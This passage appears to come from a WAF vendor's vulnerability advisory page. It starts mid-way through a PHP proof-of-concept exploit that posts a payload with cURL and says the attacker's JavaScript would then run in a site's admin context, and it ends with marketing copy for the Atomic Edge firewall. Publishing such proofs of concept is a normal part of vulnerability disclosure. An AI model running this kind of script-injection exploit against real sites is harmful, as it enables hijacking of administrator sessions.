curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Exploit attempt completed. Check if the malicious script was loaded.n";
echo "In a real attack, the attacker's JavaScript would execute in the admin context.n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.